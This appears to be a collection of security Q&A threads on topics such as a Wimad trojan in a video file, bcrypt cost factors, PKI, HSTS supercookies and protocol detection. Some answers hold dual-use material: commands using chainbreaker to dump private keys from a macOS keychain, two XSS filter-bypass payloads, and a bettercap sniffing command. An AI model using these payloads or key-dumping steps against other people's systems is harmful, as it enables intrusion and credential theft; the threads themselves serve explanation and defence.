"Threat: WMA:Wimad [Susp]" on .avi file, possible to remove threat and keep file? I ran a full system scan this morning with all of my virus/malware programs and Avast detected 1 virus in an .avi file (which thankfully I have not yet watched):

Severity: Medium
Threat: WMA: Wimad [Susp]

I don't know what this threat specifically is but Microsoft has a page describing Wimad virus' which it says are all trojan horses which once run will download a bigger, more potent virus. http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?query=Wimad

My question
If I were to re-encode the .avi file to .mkv through handbrake would I be left with an .mkv file containing no trojan horse?

My logic being that whiles re-encoding the file it would leave the unnecessary malicious content behind as it is not needed for the video or sound? However, I don't know whether accessing the file through handbrake will result in the trojan still being executed?

The "Wimad" family of trojan-horse attacks operate by using a normal feature of the "ASF" container format in an unexpected but not invalid way.  Consequently, any Windows software capable of operating on these files may be vulnerable, if it uses standard Windows libraries for manipulating them.  This may include Handbrake -- I don't know the details of how it operates.

The good news is that the attack is ASF-specific.  If you convert the media file to use a different container format, it removes the attack.


Export non-extractable private key from Keychain on OS X I have a PKI certificate in Keychain Access.app on OS X 10.9, together with the private key.

The manual page for /usr/bin/security indicates that there is a -x option for security import to specify that private keys are non-extractable after being imported, which I believe must have been used on my key.

However, there's no magic storage with copy protection, and if the certificate is still usable in the system somehow, then surely it is still in there somewhere, stored in its full glory with all the relevant bits, and surely there must be a way to still export it.  How?

I was able to extract non-extractable private key from macOS High Sierra 10.13.6 using this tool chainbreaker. It requires Python2 with hexdump and pycrypto packages. This README file in the tool's repo explains how to do that README-keydump.txt.

In general:

sudo pip2 install hexdump pycrypto pyOpenSSL

git clone https://github.com/n0fate/chainbreaker

cd chainbreaker

python2 chainbreaker.py -f ~/Library/Keychains/login.keychain-db -p 'YOUR_KEYCHAIN_PASS'

# After the command has finished running, there will be a new folder
# exported with 3 more folders for certs, keys and key-cert pairs
ls exported/associated

# This will show you folders with found key-certificate pairs as numbered
# subfolders and separate files there. Those files are in DER format, so,
# for example, to convert those to PEM:
openssl x509 -inform DER -in exported/associated/1/3.crt -out exported/associated/1/cert.pem
openssl rsa -inform DER -in exported/associated/1/5.key -out exported/associated/1/key.pem


Ubuntu backup to only specific devices I am looking into setting up a secure Ubuntu server with daily backups to two different external hard drives that will be swapped with the external hard drive that is stored in a safe deposit box.  The hard drives will be encrypted.

My question is, is there a way for Ubuntu to detect the serial number of the external hard drives and only do backups to hard drives that have a pre-approved serial number.

If there is a different, better method of authenticate the external hard drives, I am open for any advice.

Thank you

If the hard drive is encrypted, you need the correct password to decrypt it before it can be mounted for data transfer. That, in itself, is a form of authentication.

If you still need to verify the drive serial number, you can install smartmontools, then run the command (if your device is at sdb):

# smartctl -i /dev/sdb

smartctl 6.2 2014-07-16 r...
Copyright (C) 2002-13, Bruce Allen, Christian Franke, www.smartmontools.org

=== START OF INFORMATION SECTION ===
Model Family:     Seagate Cobra 9900.1
Device Model:     SC8900112CD
Serial Number:    Q3JDOL14


Protecting privacy in automated emails? Nowadays there are a lot of systems that send us automated emails that contain potentially sensitive data. For instance, if I buy something online, I will probably get an email receipt that may contain the price I paid, my home address, and the item I bought. Or I could get a utility bill emailed to me that says how much electricity I used in the last month. Or yet again, I may do a password reset somewhere and get a link emailed to me to set a new one.

In all of these cases, I cannot ask the sender to use PGP or similar end-to-end encryption. I also can't ask the sender to suppress sending the message in the first place - for instance, PayPal does not allow you to disable purchase notifications.

I am concerned about my this data being read by third parties, either in transit (not everyone uses SMTP TLS, unfortunately) or at rest on the email server (there are encrypted email providers, but I have no reason to think they will not submit to government snooping demands - even ProtonMail).

What recourse do I have to suppress this form of privacy risk? (Am I just stuck with it?)

Your question appears to be "I don't like elements of the service a provider is offering".

If the service does not provide the level of privacy mandated by law in your jurisdiction, then report the matter to the relevant authority.

If you've asked the provider to improve their service and it still does not meet your expectations, then stop using it.


User Key pairs and Man-in-the-middle issues I'm trying to wrap my head around how to exchange user's keys with a server.

Maybe during sign-up a JS applet generates a key-pair for the user.  These keys would be used for signing subsequent requests from the user to the server, so the server needs a copy of the users' public key to associate with that user's account.

But sending the public key to the server is subject to MITM attacks - if a sufficiently motivated bad guy wanted to he could put himself in the middle, capture the public key on its way to the server and substitute with a key for which he controls the secret key.

Part of the solution seems to be to have the agent submit the public key only via an encrypted channel, eg TLS.  But it seems that with browser based applications, the onus is still very much on the user to be both educated and awake enough to realize when their session is not with the right server that he aught to be connected to.  In particular our motivated bad guy could set up something that appears authentic and credible, eg

httpS://certificate_server_acme.com

which he would be in control of.  Our user may not realize he SHOULD be connecting only to, eg, httpS://certificates.acme.com

I suspect that this is just a case of "self-signed certificates".  Passwords doesn't solve the issue.  Verifying a user's key by means of an email message is not viable unless users can compare and verify a key and our motivated bad guy cannot tamper with email messages on the way to the user.

Or is there something, maybe a feature of OpenID, that can be used?

There is already an infrastructure to manage trust and it's called "Public Key Infrastructure". This is the basis of all the SSL/TLS protocols used over the internet and websites.

The main idea is to designate a Trusted Third Party (TTP) which is recognised by all the parties involved. These TTP issues their public key and they are shipped by default in all major browsers (we have to assume there is no tampering before this point, or the all thing fails). Once you have that public key that you trust with no doubt, any server can ask the TTP (which is called a Certificate Authority) to deliver them a certificate. The certificate includes a public key and the identity of the certificate requester and the certificate issuer. When the CA verified the identity of the requester, the certificate is signed by the private key of the CA.

Anyone who gets this signed certificate can verify the CA signature. If it's ok, you deduce that the certificate (therefore the public key) belongs to the entity mentioned in the certificate. You can then use it to encrypt message to this person without fear of it being intercepted by someone else.

If someone where to make a MitM attack on the system he would need to :

get a forged certificate for a domain name he does not own
get the victim to accept a new/fake CA certificate on which he has control (and then generate forged certificate)
break the public key (very unlikely)

Otherwise, the certificate signature would not be verified and therefore the authenticity of the public key would not be proven.


How are fat pointers a good protection? I'm learning about buffer overflows, and I get the idea of fat pointer, but what I don't quite get is how are they a good protection? If you were able to modify the pointer so it points to another address, wouldn't you be able to modify the obj base and obj end section of the fat pointer so that the pointer still seems valid?

Buffer overflows aren't about setting the pointer to point to another arbitrary address.

A buffer overflow happens when an input causes your program to performs a seemingly-correct operation (e.g. "increment(): move the pointer forward 256 bytes") too many times, so that the pointer moves out of the intended data structure / array, and into another object.

A "fat pointer" contains information about the data structure / array size.
 This means increment() can have safety checks in its code, to make sure the pointer is within the appropriate bounds.  You still need safety checks somewhere in your code, but this lets you centralise it.


How to filter HTML Event in Native PHP7 i want to creating xss filter for my own project, this is for html event filtering

preg_replace("/ on\w+='[^']*'/i", '', preg_replace('/ on\w+="[^"]*"/i', '', $framed));

but considering to more efective way, i would think this is more efectively clearing unquoted attribute like this

preg_replace('/on\w+=/i', '', $framed);

but i think would be another way that more efective?

Correctly filtering XSS from input is pretty hard. Most XSS filters can be bypassed by modifying the payload. For example, the following HTML will pass through your XSS filter:

<h1 onmouseover =alert`XSS`>Test

Because there is a space between onmouseover and =, your regex doesn't match. Another possible bypass is this:

<h1 oonmouseover=nmouseover=alert`XSS`>Test

The occurrence of onmouseover= will be removed once, leaving the following:

<h1 onmouseover=alert`XSS`>Test

One possibility is to use HTML Purifier, a library that is pretty good at cleaning up XSS. But the real solution against XSS is output encoding, so that when a user enters


Dynamic vs Static root of trust In TCG specification (for TPM devices) they specify how a static root of trust can be built up using secure boot and trusted boot. An alternative method appears to be Intel's Dynamic boot using their Intel TXT technology. I was just wondering from a security point of view which is preferable and what the major differences are? Thanks

It's complicated.

Both are Root of Trust for Measurements meaning they can be used to measure the running environment.

The main problem with SRTM is that you need to keep measurements of the entire platform boot sequence (BIOS config, 3rd party boot rom (e.g. network cards), etc) and this includes a LOT of code. Any change to any of this requires new measurements.

The intent of DRTM was to avoid all of this by providing the capability of executing code from a clean slate while the system is running (no need to reboot like SRTM). However, it didn't turned out exactly that way since TXT is vulnerable to a malicious SMM (System Management Mode / ring -2) or Intel's ME/AMT (Management Engine / Active Management Technology / ring -3). Briefly, this means SMM and ME code is not isolated from the Late Launch and malicious code can gain access to the Measured Launch Environment even though it has not been measured - not a really clean slate.

These are very complex attacks only demonstrated by researchers (ITL) but they are possible. I'm saying this because they still consider TXT to be valuable even tough it's vulnerable.

One could recommend using SRTM with DRTM to measure the SMM code as it's contained in SRTM measurements (PCR 0-1). This would in theory make sure you have very few SRTM to maintain and the code is really coming from the manufacturer... but it doesn't mean it's not malicious (e.g. computrace?).

Nothing can be done for Intel ME/AMT as far as I know. If someone found a new flaw and inserted malware, the security model breaks. Keep in mind this is said to be extremely difficult. Also, since ITL's researh/attack, Intel's ME security model has improved.

In conclusion, DRTM cannot be more secure then SRTM. Using both of them is probably the best setup. Assuming there's not flaw, it means you need to trust Intel (that's a given) and the platform manufacturer (BIOS/SMM). This can easily be done by using TXT via Tboot: use PCONF (0-1), SINIT (17) and MLE policies (18)). See this.

See this for an overview of how SRTM and DRTM works.


How does Trusteer Rapport make accessing websites more secure? Trusteer claims that:

Trusteer Rapport verifies that you are really connected to the
genuine website as opposed to a fake website created by criminals.
Surprisingly, it is not trivial to reach a genuine website when you
type the website address into your web browser.
Once verification is complete, Trusteer Rapport locks down
communication between your computer and the protected website. This
prevents criminals from hijacking your online connection with the
bank.
Trusteer Rapport protects your computer and Internet connection by
creating a tunnel for safe communication with your bank or
enterprise, preventing criminals from using malware to steal your
log-in data and tamper with financial transactions or information
exchanges.

Doesn't HTTPS do all of this for you? It seems to me that Trusteer adds another layer of encryption to supported (mostly banking) websites, is that correct? Ignoring the other stuff that it claims to do, is it worthwhile?

Https actually doesn't offer the functionality that Trusteer provides. Trusteer has some very useful tricks to help protect you and your bank including:

low level hook in display driver which prevents screen scraping for the data you input to your banking website
validation that the website you think you are at is the one you are at
risk rating your online activity

And quite a few others including malware obfuscation as @paj mentioned. The main impact on the customer is that it really helps prevent an attacker compromising your machine with something like zeus getting all your banking details.


How much security does double VPN layer adds? For doing ssh into our AWS infrastructure outside of office, we are required to connect to a VPN which gives us an office IP. Once we are connected to this VPN we are required to connect to another VPN (which is only accessible from office IPs), and only when we are connected to this VPN, we can ssh into the machines.

The first layer of VPN makes sense, but does second layer adds any extra security?

The reason that I'm given is that opening ssh ports to office IPs is dangerous as there are way to many computers in our network and if any one of them is compromised it would simply leave the window open.

On questioning why can't the external VPN be made publicly accessible, I'm told that it is akin to having a SSH bastion open to the world.

Connecting to two VPNs every time is slow and fragile and even the latest MacOSs don't support.

So what do you guys think? Having two layer of VPNs really adds up security? Is the trade-off worth it?

There is no general answer to that.

Usually, a security system is implemented to protect against a specific set of threats. In your case, implementing two layers of protection could have resulted from the necessity to protect against a number of potential threats:

Improper access control of application in network 2 from users in network 1
Requirement of using a known weak VPN product as first access layer.
Different networks being managers by different teams.
General network access security guidelines (for instance "no direct access to systems in network 2 from external system").


Why don't companies just tie the password to the user name? One problem with passwords is that if they can be broken as follows:

pick a random password
hash it
compare that hash to other known hashes

This way, you have broken the password. Then if you can access the hash of a password, you can reverse-engineer it to find out the password.
However, isn't this easily fixed by tying the password to the user name?
Say my username is my e-mail: plutoplanet@hotmail.com and my password is password123.
All the company needs to do under the hood is make my actual password include my username in a randomized way, that is, my actual password is papLusswtOordpLanEt123@hotmail.com. Basically, what I did there was just take password123 and throw in letters from my username at random places.
Now this is the password that I hash and store in my database. Now if anybody ever finds out what password led to this hash, they will know it is papLusswtOordpLanEt123@hotmail.com, but that is NOT my password, and they don't know how to extract my password from it, since the mixing of passwords and username was random.

One problem with passwords is that if they can be broken as follows: pick a random password; hash it; compare that hash to other known hashes. This way, you have broken the code.

It was long ago that type of password mechanisms were used. Today we use random salt per password, and additionally, a server-based pepper. Then the user's password is hashed using a password hashing algorithm that is designed computationally intensive and memory-hard; like Scrypt and PBKDF2. The aim is to cripple the attacker by eliminating the massive parallelization of the GPU/ASIC and reducing the time to search like 100K iterations. No more parallelization, no more fast search, and no more Rainbow tables. Today's modern standard is the Argon2 that is the winner of the 2015 password hashing competition.

However, isn't this easily fixed by tying the password to the user name?

That doesn't differ since the method is assumed to be known to the attacker; a real attacker also assumed the target's personal information, too. That is why you should not include anything that is personal in your passwords.
Besides you need to store this random information, too, that will increase the complexity of the self-written code.
The real problem with the passwords is the user's side or call human side. One can be taught to use dicewire based passwords that are easy to remember and have strong strength. The XKCD 936 is the famous cartoon for this.
Besides, a strong piece of advice is using password managers like open-sourced KeePass, which can store all of your passwords securely, even you don't need to generate them. Even Firefox has a password manager mechanism.


Can heuristic analysis detect keylogging? Antivirus software detects threats by heuristic analysis like it analyzes the commands as they are performed, monitoring for common viral activities such as replication, file overwrites, and attempts to hide the existence of the suspicious file. So can heuristic analysis detect keylogging activity?

Most systems provide APIs and hooks that allow apps to capture keystrokes (for instance for keyboard shortcuts)

A heuristic could detect the use of such facilities and flag the app for further analysis or provide means to whitelist/block the app, similar to those firewall prompts on Windows.

Modern keyloggers seem to also log the clipboard, presumably to account for paasword manager users.

As all heuristic analysis, it's subject to being subverted/bypassed by a creative keylogger developer.

The logging can also be subverted by tools like KeePass that adds bogus keystrokes when inputting passwords to confuse keylogger.

This rapidly leads to an arms race of increasing costs for both sides :)


Trusted Certificate Authorities - how do they work? microsoft.com for example can use a Verisign Certificate for their domain. What are the chances that an attacker could ask verisign for a m1crosoft.com domain and get approved? It is very simillar, but still can be used by attackers to run a "secured phishing website".

Do trusted CA's do some research on a client that asks for a new certificate to be issued? Is there a standard or an application model? Do i need to assume and not trust secure websites in reality if not?

Basically, any CA does exactly what it wishes to do. However, OS and browser vendors won't accept just any CA as a "trusted root". E.g. Microsoft runs a root certificate program which defines the contractual conditions that a CA must fulfil in order to get its root CA public key included in the "trusted store" of all Windows systems. These conditions include a lot of legal details, financial agreements (notably insurances), and also that the CA respects clearly documented procedures for everything it does. In practice, the CA will have to do some research to verify domain ownership and weed out obvious phishing attempts before granting a certificate.

The CA/Browser forum is an organization which tries to establish baseline requirements for such jobs. See also WebTrust, which aims at being a faithful incarnation of the principles set out by the CA/Browser forum.

Extended Validation certificates are certificates which have been issued by CA who follow strict requirements (including anti-phishing procedures), along the lines defined by these organizations. Browsers who comply to the CA/Browser forum guidelines are supposed to display EV certificates with a specific visual indication, and not to use that indication for non-EV certificates -- in effect, EV certificates are a method to define a whitelist of "good CA" within the jungle of existing CA.

(It has been noticed that though Microsoft and Firefox and Chrome have strict rules about inclusion of commercial CA, they can hardly politically afford to reject a "government CA" from any big enough government, although these CA are not necessarily well maintained and documented. "EV" is an answer to that sad state of things: browsers will include such dubious CA but won't tag them as "EV".)


How sufficient are these steps to prevent deleted SSD files from being recovered? I'm selling a 4-year-old Dell PC with Windows 10 and two SSDs and I want to be sure that nobody can recover anything from my personal deleted files.   So far I've done the following.

Completely Bitlocker encrypt both disks, including unused space.  (Note the machine did not have TPM so I had to use a password)
Uninstalled software and deleted all personal files.  (For sake of discussion, let's assume I didn't miss any personal files.)
Created a new, Administrator-level account
Logged on to the new account.
Completely deleted my previous user account.
Completely Bitlocker DE-crypted both disks again
Completely bitlocker encrypted and then decrypted both disks, yet again.

My idea was that if Bitlocker full-disk encryption/decryption really touches the whole disk, then two rounds of encrypt/decrypt out to overwrite everything.  But I don't know if I understandit correctly or even if SSDs truly work like HDDs in that regard

Is this good enough?  Is there some other step I can take that doesn't involve buying some expensive tool?

I can't sell this encrypted and I want to leave Windows 10 on there so I didn't want to completely reformat the system drive.

Either you're serious about deleting your data, or your serious about keeping your system functional as it were. The distinction between user data and operating system state is kind of weak, especially on Windows' questionable ecosystem with myriads of third-party things that shouldn't be a system service, but are.

You'd want to enable hardware disk encryption, then wipe that password, leading to the SSD safely discarding all data (or ways to decrypt it).

You'd lose your running Windows.

Honestly, when buying a used computer, first step, wipe the SSD and re-install the operating system from clean slate. Have no interest in continuing to run the malware that the previous owner (most likely involuntarily) ran.

So, a "already working" Windows 10 installation adds exactly nothing to the worth of a laptop to me. A Windows License, however, might. So, clearly mark that you're selling the laptop with a windows 10 license, and deliver it with the product key (which, afaik, you can somehow extract from your running windows). You can pre-install Windows if you want, up to the point where it starts asking for customization.


Recommended # of rounds for bcrypt What is nowadays (July 2012) the recommended number of bcrypt rounds for hashing a password for an average website (storing only name, emailaddress and home address, but no creditcard or medical information)?

In other words, what is the current capability of the bcrypt password cracking community? Several bcrypt libraries use 12 rounds (2^12 iterations) as the default setting. Is that the recommended workfactor? Would 6 rounds not be strong enough (which happens to be the limit for client-side bcrypt hashing in Javascript, see also Challenging challenge: client-side password hashing and server-side password verification)?

I have read answer https://security.stackexchange.com/a/3993/11197 which gives an in-depth discussion how to balance the various factors (albeit for PBKDF2-SHA256). However, I am looking for an actual number. A rule of thumb.

Short Version

The number of iterations that gives at least 250 ms to compute

Long Version

When BCrypt was first published, in 1999, they listed their implementation's default cost factors:

normal user: 6
super user: 8

A bcrypt cost of 6 means 64 rounds (26 = 64).

They also note:

  Of course, whatever cost people choose should be reevaluated
  from time to time

At the time of deployment in 1976, crypt could hash fewer than 4 passwords per second. (250 ms per password)
In 1977, on a VAX-11/780, crypt (MD5) could be evaluated about 3.6 times per second.   (277 ms per password)

That gives you a flavor of the kind of delays that the original implementers were considering when they wrote it:

~250 ms for normal users
~1 second for super users.

But, of course, the longer you can stand, the better. Every BCrypt implementation I've seen used 10 as the default cost. And my implementation used that. I believe it is time for me to to increase the default cost to 12.

We've decided we want to target no less than 250ms per hash.

My desktop PC is an Intel Core i7-2700K CPU @ 3.50 GHz. I originally benchmarked a BCrypt implementation on 1/23/2014:

1/23/2014  Intel Core i7-2700K CPU @ 3.50 GHz

| Cost | Iterations        |    Duration |
|------|-------------------|-------------|
|  8   |    256 iterations |     38.2 ms | <-- minimum allowed by BCrypt
|  9   |    512 iterations |     74.8 ms |
| 10   |  1,024 iterations |    152.4 ms | <-- current default (BCRYPT_COST=10)
| 11   |  2,048 iterations |    296.6 ms |
| 12   |  4,096 iterations |    594.3 ms |
| 13   |  8,192 iterations |  1,169.5 ms |
| 14   | 16,384 iterations |  2,338.8 ms |
| 15   | 32,768 iterations |  4,656.0 ms |
| 16   | 65,536 iterations |  9,302.2 ms |

Future Proofing

Rather than having a fixed constant, it should be a fixed minimum.

Rather than having your password hash function be:

String HashPassword(String password)
{
   return BCrypt.HashPassword(password, BCRYPT_DEFAULT_COST);
}

it should be something like:

String HashPassword(String password)
{
   /*
     Rather than using a fixed default cost, run a micro-benchmark
     to figure out how fast the CPU is.
     Use that to make sure that it takes **at least** 250ms to calculate
     the hash
   */
   Int32 costFactor = this.CalculateIdealCost();
   //Never use a cost lower than the default hard-coded cost
   if (costFactor < BCRYPT_DEFAULT_COST)
      costFactor = BCRYPT_DEFAULT_COST;

   return BCrypt.HashPassword(password, costFactor);
}

Int32 CalculateIdealCost()
{
    //Benchmark using a cost of 5 (the second-lowest allowed)
    Int32 cost = 5;

    var sw = new Stopwatch();
    sw.Start();
    this.HashPassword("microbenchmark", cost);
    sw.Stop();

    Double durationMS = sw.Elapsed.TotalMilliseconds;

    //Increasing cost by 1 would double the run time.
    //Keep increasing cost until the estimated duration is over 250 ms
    while (durationMS < 250)
    {
       cost += 1;
       durationMS *= 2;
    }

    return cost;
}

And ideally this would be part of everyone's BCrypt library, so rather than relying on users of the library to periodically increase the cost, the cost periodically increases itself.


What is the purpose of the expiration time in signed S3 urls? S3 allows you to authenticate requests for media via a signed URL. This URL can include an expiration time, after which the URL is no longer valid (http://docs.aws.amazon.com/AmazonS3/latest/dev/RESTAuthentication.html#RESTAuthenticationQueryStringAuth). Given that the URL signature is generated by HMAC-SHA1 (which I assume is infeasible to brute force?), what is the point of the expiration? Is it to prevent brute forcing (i.e. increase the security of the media URLs)? Or is the url secure regardless of expiration time and the expiration time is provided as a way to provide domain specific expiration (i.e. a bank statement might be given an expiration time of an hour so that a malicious user with access to a computer's network requests couldn't retrieve it later).

To summarize:
Is the signature of the S3 URL secure regardless of expiration time? Or is a reasonably short expiration time required to keep media secure?

It is useful in the following scenario:

You want to serve, say, video files, but only to certain users. You want to make it harder for them to share URLs.

Bob signs in to your site, selects a video. You generate and HMAC the URL with the expiry time, set to say 5 seconds. The page loads in 1 second and the embedded video player makes the request to AWS. The URL is still valid.

Bob looks at the HTML source, finds the video URL, copies it and sends it to his friend. The friend opens the URL but it has expired.


What concepts / technologies does Ultrasurf use? How do tools like Ultrasurf works?

At a very high level, what concepts / technologies are used by tools like this?

How does it prevent others (employers/ censorship bodies) from seeing end user traffic?

How do tools like Ultrasurf work?

They use a second computer (proxy), actually many such computers.

Then the browser is instructed not to connect to the real website you want, but to the proxy, sending it the request. The request itself is heavily encrypted so that nobody except the recipients may know its contents.

Imagine you're underage and you still want to get drunk. You give money to a over-age friend to buy alcohol in his name, then get the booze back to you. The bartender sees a guy of twenty-four and has no qualms in giving him alcohol, nor has he any knowledge of who is actually going to drink it.

At a very high level, what concepts / technologies are used by tools like this?

They use proxying (a proxy is, unsurprisingly, the computer that receives your requests and acts on your behalf), through an encrypted tunnel (or a full virtual private network or VPN, which is actually a more advanced implementation of basically the same concept).

How does it prevent others (employers/ censorship bodies) from seeing end user traffic?

These are actually two questions, because depending on who the "others" are, you might need to hide not only

what you are communicating or who you're communicating to

but also

the fact that you're communicating privately.

The encryption takes care of the "what", and the fact that you're only communicating with a proxy, and only the proxy knows who to forward your requests to, takes care of the "who".

But while your employer does no longer see requests for nsfw.com, he now sees encrypted and unreadable requests directed to hidethisfrommyemployer.com. Depending on the employer, this might still be undesirable or have nasty side effects.

In some countries, using encryption to sneak past censorship will actually have the opposite effect, since encrypted communications are usually extremely easy to recognize. Also, the networks used on the other side to supply you with a proxy service can be identified and blocked, so that this strategy no longer works.


What to do with a PGP/GPG key to which I've lost the private key? I created a private key with an Android app I'm no longer using. I had uploaded the public key to the keyservers without setting an expiry date. I later deinstalled that app, and deinstalling apparently deleted the private key, or else I can't find it on my phone.

From time to time, people try to send me an email encrypted in that old key, because they don't know that I don't have access to the private key. Is there any way of revoking the key on the keyserver or adding a comment to prevent people from doing this? (I didn't create a revocation certificate.)

You normally would revoke the key:

Revocation is described in the link to another question on ask Ubuntu.

Basically:

  The "OpenPGP way" to remove old keys is to mark them as revoked by
  uploading special revocation certificates. These will tell other
  OpenPGP users that your key is superseded.

  Revoking keys is not possible if you don't have access to the private
  key, defined a designated revoker or a pregenerated revocation
  certificate.

Unfortunately, as you don't have access to the private key you wont be able to. Instead, you'll want to generate a new one and, if possible, let your contacts know via some other medium that your key has changed and they will need to use the new one. Often people post keys on twitter or to some other location only they control. If possible change your keys there to a new key and this time be sure to setup a revocation cert.


What type of attack can bring a website down by serving a redirect loop? My website has been up for a year and all of a sudden is down with a too many redirect message.

www.jdmxchange.com (classifieds for modified cars/parts)

I tried to use fiddler to see if it was redirecting to an external site but it just seems to be redirecting to the same page. I have not pushed any updates to this site so it's strange that it all of a sudden changes. Could this be an attack or some type of glitch on IIS?

Hosting on windows azure
Asp.net

It's custom, not some boxed solution so I am able to look at code; however, like I said, I have not pushed any changes to production in a couple of months.

Look here at the OWASP article regarding redirects. Check your PHP code.


Why can't bypass SOP using "src" attribut in script tag? I'm not familiar with Javascript, but I want to know what can't be done in this steps in order to bypass SOP and extract sensitive data :

set the tag <script src="https://facebook.com/messages"></script>
the browser retrives the content of https://facebook.com/messages
the browser, thinking it's a JS code, put the HTML content inside <script> tag
another piece of JS code get the content of the <script> tag and send it to attacker's server

Because step 4 is impossible. Not just because of the same-origin policy, but because there's simply no way to retrieve the content of a script tag via JavaScript.

There's HTMLScriptElement.text, but that only retrieves the text between the script start and end tags. It can't retrieve content loaded via the src attribute.

That said, there actually is a way script tags can be used to bypass the same-origin policy under limited circumstances. If you load a script from another domain and execute it, then you might be able to derive some information from the side-effects of that execution. That's how JSONP works. This isn't usually a security issue though, as most JSONP endpoints are designed with cross-origin access in mind, and most other types of scripts are static assets that do not contain sensitive information.


What are HSTS Super Cookies? A few questions :

What are HSTS super cookie?
How do they work?
Why is possible to access them from multiple domains?
Do I have to worry and if yes, how to mitigate their effect?

Sources

http://www.radicalresearch.co.uk/lab/hstssupercookies
http://arstechnica.com/security/2015/01/browsing-in-privacy-mode-super-cookies-can-track-you-anyway/

Basically, HSTS allows a site to store a flag (true or false) - in other Words a bit, in a web browser.

Storing HSTS super cookies are accomplished in this way:
Lets say we want to store the value A, binary 01000001.
We can then store this as by redirecting the user to a series of websites, like
https://00.example.org indicating HSTS=off
redirecting to:
https://01.example.org indicating HSTS=on
redirecting to:
https://02.example.org indicating HSTS=off
...
...
redirecting to:
https://08.example.org indicating HSTS=on

"Reading" the cookie is simple as redirecting user to:
http://00.example.org
If HSTS is on, the webserver will receive a request to https://00.example.org, else http://00.example.org
redirect then to http://01.example.org
and so on.

The misdesign in HSTS is that the browser should "correct" a HTTP visit to HTTPS automatically if HSTS is enabled. A better idea would be that a HTTP request to a HSTS resource would instead fail completely with no recourse from the user other than manually typing https Before the url. But such things might endanger the usability.

No you dont need to worry. A site that wants to track you could aswell store your IP adress on server side to be able to show targeted ads and such. If you want to surf completely anonymously, for example via TOR, you should turn off HSTS completely, and instead itself be vary of SSLstrip by manually checking that HTTPS is being deployed.


HTTPS for bidirectional communication I'm creating a system that will allow the user to control a certain number of remote hardware devices. Each device (the client) is connected to a micro web server, that responds to HTTP(S) requests.

The client must send data to the server (containing it's current hardware state). The server must send data to the client (to tell the client what to do). Client and server can send data to the counterpart when they want.

Now, I'm concerned about security... How about using HTTPS with self-signed SSL certificate for the client?

Let's assume that I buy a certificate for my domain server (provided by an external trusted CA) and I create a different self signed certificate for each client. Can I benefit from HTTPS security in the two communication directions (client to server and server to client)?

In this case the server will store the different client certificates, so it can establish a secure connection when it want to send a command to the client. Is it right?

Edit 1

The "client" (the hardware device) acts as a server when it receives a command by the remote user. But acts as a client when sends its hardware state to the server. These cases take place in two different moments. So, both parties should be able to connect with the counterpart as client or server depending on the case.

In this case, you would probably be best off going for self-signed certificates for the clients, ideally using an internal CA which your server is aware of. This situation doesn't have the usual drawback of self-signed certificates giving a browser warning, since only the server is expected to connect to the clients.

However, you wouldn't want to rely on just the basic HTTPS authentication process. While that would provide encryption in both directions, it wouldn't let you verify that it is your server connecting - it could be any other device. You could instead use HTTP Certficate Authentication (see Certificate based authentication vs Username and Password authentication for a description) and make your clients aware of what certificate the server should present. This is somewhat more complicated to configure than normal encryption, since both ends need to be aware of the other. The advantage, though, is that you can be sure that only your server (or an attacker who has compromised your server and copied the private key file) can connect to the client devices.

Depending on your configuration, this process might not be needed in both directions - you might consider it acceptable for other devices to connect to the server, so connections from client devices only encrypt without needing to verify the server certificate, while the connections from the server need to be verified by the client, since it's the only intended connecting device. This would also simplify the addition of new clients - they need to know what certificate to expect from the server, but the server doesn't need to be updated to know what certificate they have. This would be a decision based on the specific situation though.


Is ClearChat end-to-end encryption and user authentication secure? ClearChat is marketing itself as a secure alternative to messaging and collaborative work services like Slack, for use by businesses. Their security marketing (e.g. https://clearchat.com/compare) is based on two main claims:

That they use end-to-end encryption, meaning that they never have access to user data.
That they use user authentication, which is safer than password based security.

Are these claims accurate?

I cannot find any source code of the tool on this site nor do I find any results from independent audits or any kind of common criteria or similar certificates. Essentially only their claims are on this site without any proof or independent test.

  Are these claims accurate?

It is impossible to tell. These claims might be true or might be not. It might be that they believe they are true but that independent test would find security problems. It might also that they knowingly tell lies. It is the equivalent of some stranger telling you to blindly trust him. Would you do it?


Bettercap output file is empty after capture I am trying to do a sniffing attack and I want to save a .pcap file with the result of the analysis. I use this command:

bettercap --interface eth0 -X --proxy --sniffer-output /root/Escritorio/file.pcap

But when I open the file, it's empty.

Why it is this happening? How can I solve it?

Is it possible that your ethernet port isn't yielding anything? Try it with another interface e.g. wlan0 to see if that yields anything.

A suggestion: I think you're using the legacy version of bettercap. There's a new version (https://www.bettercap.org/) that takes less space, is more reliable, and faster - according to the website. If you got bettercap by typing "apt-get", that's going to download the old version.


Why should the OPTIONS method not be allowed on an HTTP server? Why should the OPTIONS method not be allowed on an HTTP server?

An essential part of security is to reduce the attack surface by removing any functionality which is not needed. Usually this is also functionality which is less well tested and thus might be a vector for unexpected attacks. For example there might be restrictions/authorizations in the web application which are specific for GET, POST and which ignore any other methods. On the other hand part of the applications code might ignore the request method and thus access to protected resources might be possible using unprotected request methods. Thus removing OPTIONS, HEAD, TRACE etc makes sense in case these are not used.

But, OPTIONS might be needed in connection with CORS to allow cross origin requests. In this case removing it would impact functionality and thus it should not be removed.

In general it is a bad idea to just black list request methods which might be a problem. Instead white listing should be done, i.e. only allow request methods which are known to be handled properly by the application.


How does ndpi actually detect the HTTP protocol? I have been digging the ndpi codebase and trying to understand how its actually detecting the HTTP protocol.

What I found so far is that they are searching the request type in the payload and if not found they perform some checks to categorize it as a HTTP response, but is this enough to categorize a packet? Someone can obviously tangle with the request data and bypass those string checks.

Same thing I saw in the SSDP protocol (just string checks).

What is the high level view of categorizing the packet as HTTP (or any "x" protocol)?

What is the high level view of categorizing the packet as HTTP (or any "x" protocol)?

Standard port numbers are as close as you get to an an official classification of application-layer protocols. But in practice, services often don't adhere to their default ports and there is simply no universal way to detect which layer-7 protocol is being used. Therefore, deep packet inspection relies in large part on regular expression heuristics or just basic string comparison (as in the referenced code from nDPI).
In most cases there is just no better way of detecting a protocol than by looking for typical patterns in the (preferably initial) packets - like a GET request line with subsequent headers to identify an HTTP connection.
Consequently, you're right that it's easy to evade these checks by obscuring the protocol (often done by BitTorrent applications). The discontinued Linux Layer 7 filter project has a FAQ that addresses these concerns:

Q: Isn't this just another pointless step in an arms race in which protocols will continually adapt to evade classification?
A: You can look at it like that, but essentially no. Internet standards like HTTP will not do this. Only P2P programs and the like will. This means that, at worst, what you will need to do is to shape the "unknown" classification down, leaving the most bandwidth for known protocols like HTTP, SMTP, and so on.

Also have a look at the l7protocols wiki which documents various methods of protocol identification, most of them regex-based.


